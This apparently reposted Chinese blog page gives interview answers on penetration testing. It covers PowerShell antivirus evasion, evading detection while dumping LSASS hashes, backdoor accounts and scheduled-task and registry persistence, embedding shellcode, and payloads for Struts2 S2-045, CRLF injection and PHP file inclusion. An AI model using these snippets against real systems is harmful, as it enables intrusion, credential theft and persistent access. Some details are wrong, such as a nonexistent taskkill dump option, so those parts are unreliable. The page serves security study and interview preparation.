当前位置: 首页 > news >正文

2025年渗透测试面试题总结-25(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

二百〇一、PowerShell免杀制作

二百〇二、内存Hash提取绕过

二百〇三、Linux/Windows权限维持

Linux

Windows

二百〇四、红队/蓝队工作框架

二百〇五、Shellcode嵌入EXE方案

二百〇六、Spring框架漏洞

二百〇七、Struts2漏洞利用

二百〇八、反序列化漏洞

原理

解决方案

二百〇九、CRLF注入原理

二百一十、PHP LFI漏洞详解

漏洞代码示例

手工挖掘技巧

二百〇一、powershell免杀怎么制作?二百〇二、提取内存hash被查杀,如何绕过?二百〇三、分别说下linux、windows的权限维持?二百〇四、如何开展蓝队工作?如何开展红队工作?二百〇五、如何把shellcode嵌入到正常exe中?二百〇六、描述下Spring框架的几个漏洞?二百〇七、说下strust2的漏洞利用原理?二百〇八、php/java反序列化漏洞的原理?解决方案?二百〇九、CRLF注入的原理二百一十、php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?

二百〇一、PowerShell免杀制作

核心思路:规避特征检测 + 混淆技术

  1. 代码混淆
    • 字符串分割:'inv'+'oke-e'+'xpression'
    • 编码转换:Base64编码命令后通过-EncodedCommand执行
    • 变量替换:$a='iex'; $b='Get-Process'; &$a $b
  2. 内存注入
    • 使用[System.Reflection.Assembly]::Load()直接加载反射生成的PE
    • 调用Win32 API(如VirtualAlloc/CreateThread)执行Shellcode
  3. 合法工具滥用
    • 利用MSBuild.exe 加载内嵌C#的XML项目文件
    • 使用InstallUtil.exe 执行未签名的.NET程序
  4. 防御对策
    ✅ 启用AMSI(Antimalware Scan Interface)
    ✅ 部署脚本块日志记录(Script Block Logging)

二百〇二、内存Hash提取绕过

绕过方案

  1. 直接内核读取
    • 调用NtQuerySystemInformationSystemModuleInformation枚举驱动
    • 通过KeServiceDescriptorTable定位SSDT函数
  2. 定制化Dump
    • 修改Mimikatz的sekurlsa::logonpasswords模块特征
    • 使用自定义PDB路径编译
  3. 无文件技术
    • 注入到可信进程(如svchost)调用API
    • 使用Windows原生工具:taskkill /FI "PID eq [LSASS_PID]" /Dump
  4. 防御检测
    🔒 启用Credential Guard(虚拟化保护)
    🔒 监控LSASS进程的非法句柄获取

二百〇三、Linux/Windows权限维持

Linux
  1. 后门账户
    bashecho 'backup:$1$salt$NkCwY3fVObWnL1wFx6bT70' >> /etc/shadow # 密码:123456 
  2. SSH后门
    • 修改sshd_config添加AuthorizedKeysCommand执行自定义脚本
  3. Rootkit
    • 劫持LD_PRELOAD加载恶意so文件(如拦截readdir隐藏文件)
Windows
  1. 计划任务
    powershellschtasks /create /tn "UpdateService" /tr "C:\malware.exe" /sc minute /mo 5 
  2. WMI事件订阅
    powershell$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() $filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process'"
  3. 注册表自启动
    cmdreg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\backdoor.exe" 

二百〇四、红队/蓝队工作框架

维度红队 (Red Team)蓝队 (Blue Team)
核心目标模拟攻击,验证防御有效性检测响应,提升安全体系
关键动作▶ 情报搜集(OSINT)
▶ 武器化载荷开发
▶ 横向移动路径设计
▶ 日志分析(SIEM)
▶ IDS/IPS规则优化
▶ 端点行为监控
工具示例Cobalt Strike, Metasploit, SliverELK Stack, Wireshark, Volatility
交付成果渗透测试报告 + 攻击链还原事件响应手册 + 加固方案

二百〇五、Shellcode嵌入EXE方案

步骤

  1. 资源注入
    • 使用Visual Studio将Shellcode作为资源文件(.rc)嵌入
    • 运行时通过FindResource/LoadResource提取
  2. 代码空洞填充
    • 定位PE文件的.text节空白区(0x00填充段)
    • 用Shellcode覆盖并修复入口点(需计算偏移)
  3. 线程劫持
    cvoid *exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof(shellcode)); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);

二百〇六、Spring框架漏洞

  1. CVE-2022-22965 (Spring4Shell)
    • 原理:JDK9+的ClassLoader属性暴露导致RCE
    • 影响:Spring MVC参数绑定漏洞
  2. CVE-2022-22963 (Spring Cloud)
    • 原理:路由表达式注入(SpEL)
  3. CVE-2018-1273
    • 原理:未授权访问+目录遍历(spring-messaging)

二百〇七、Struts2漏洞利用

典型漏洞:S2-045 (CVE-2017-5638)

  1. 触发点Content-Type头解析异常
  2. 利用链
    httpPOST /struts2-showcase/ HTTP/1.1 Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}
  3. 本质:OGNL表达式注入(Object-Graph Navigation Language)

二百〇八、反序列化漏洞

原理
  • JavaObjectInputStream.readObject() 未校验反序列化类
    javaObjectInputStream ois = new ObjectInputStream(input); ois.readObject(); // 可触发恶意类的构造方法
  • PHPunserialize()自动调用__wakeup()__destruct()
解决方案
  1. 白名单校验:使用SerialKiller库替换原生反序列化
  2. 加密签名:对序列化数据添加HMAC签名
  3. 替代方案:使用JSON/XML等安全数据格式

二百〇九、CRLF注入原理

漏洞场景

httphttp://example.com/set_header?param=value%0d%0aSet-Cookie:%20hacker=1 
  • 注入结果
    httpHTTP/1.1 302 Found Location: value Set-Cookie: hacker=1 <!-- 恶意头部注入 -->
  • 防御:过滤\r\n -> 转义为%0D%0A

二百一十、PHP LFI漏洞详解

漏洞代码示例
php<?php // vuln.php $page = $_GET['page']; include($page . '.php'); // 未过滤导致目录穿越 ?>

利用

http://site.com/vuln.php?page=../../../../etc/passwd%00 
手工挖掘技巧
  1. 参数探测
    • 测试index.php?file=php://filter/convert.base64-encode/resource=index
  2. 无回显利用
    • 日志注入:包含Apache日志(/var/log/apache2/access.log
    • 错误触发:包含/proc/self/environ(需mod_cgi)
  3. 文件遍历
    phphttp://site.com/vuln.php?page=php://filter/string.rot13/resource=/etc/passwd 
  4. 自动化工具
    • 使用ffuf爆破路径:ffuf -w wordlist.txt -u "http://site.com/?page=FUZZ"
http://www.dtcms.com/a/342954.html

相关文章:

  • 数据库运维管理平台全面解析
  • opencv学习:图像边缘检测
  • # 重磅发布 | onecode 3.0.1 Base 源码正式开源:AI赋能的企业级开发框架
  • 算法训练营day58 图论⑧ 拓扑排序精讲、dijkstra(朴素版)精讲
  • 从零开始的Agent学习(二)-增加文档输出功能
  • 医疗信创新征程:常德二院全栈国产化项目引领行业变革
  • 审美积累 | 界面设计拆分 | Redesign Health - Services 医疗页面设计
  • 8.21网络编程——词典(未完成,有问题)
  • kotlin协程笔记-朱凯
  • C# 基本数据类型
  • 生信分析自学攻略 | R语言数据筛选和修改
  • 前端:文件直接在浏览器里下载
  • VMware ESXi 服务器暴露高危漏洞,中国1700余台面临勒索软件威胁
  • UE 虚幻引擎, unreal engine(1)概略介绍,安装本引擎,创建账户,打开 UE,创建项目,项目导入内容,尝试运行的添加第一人称游戏,
  • Vibe Coding v.s Prompt Engineering
  • 【Docker】在Ubuntu22.04上安装Docker
  • 漫谈《数字图像处理》之平滑
  • 智能编码工具:GitHub Copilot 的深度应用与集成
  • 用OpencvSharp编写视频录制工具
  • HTTP/2 性能提升的核心原因
  • Vue2 ElementUI Upload组件http-request用法
  • (二十一)深入了解AVFoundation-编辑:导出视频与格式转换的全流程
  • 全文 part1 - DGEMM Using Tensor Cores, and Its Accurate and Reproducible Versions
  • DeepSeek-V3.1 发布,迈向 Agent 时代的第一步
  • 0821 sqlite3_get_table函数(数据库函数的补充)
  • Nacos-9--认识Nacos中的Distro协议(Nacos高可用的实现原理)
  • visual studio编译的软件查找所依赖的运行库方法
  • 基于单片机智能路灯控制
  • 学习嵌入式第三十四天
  • 杂记 07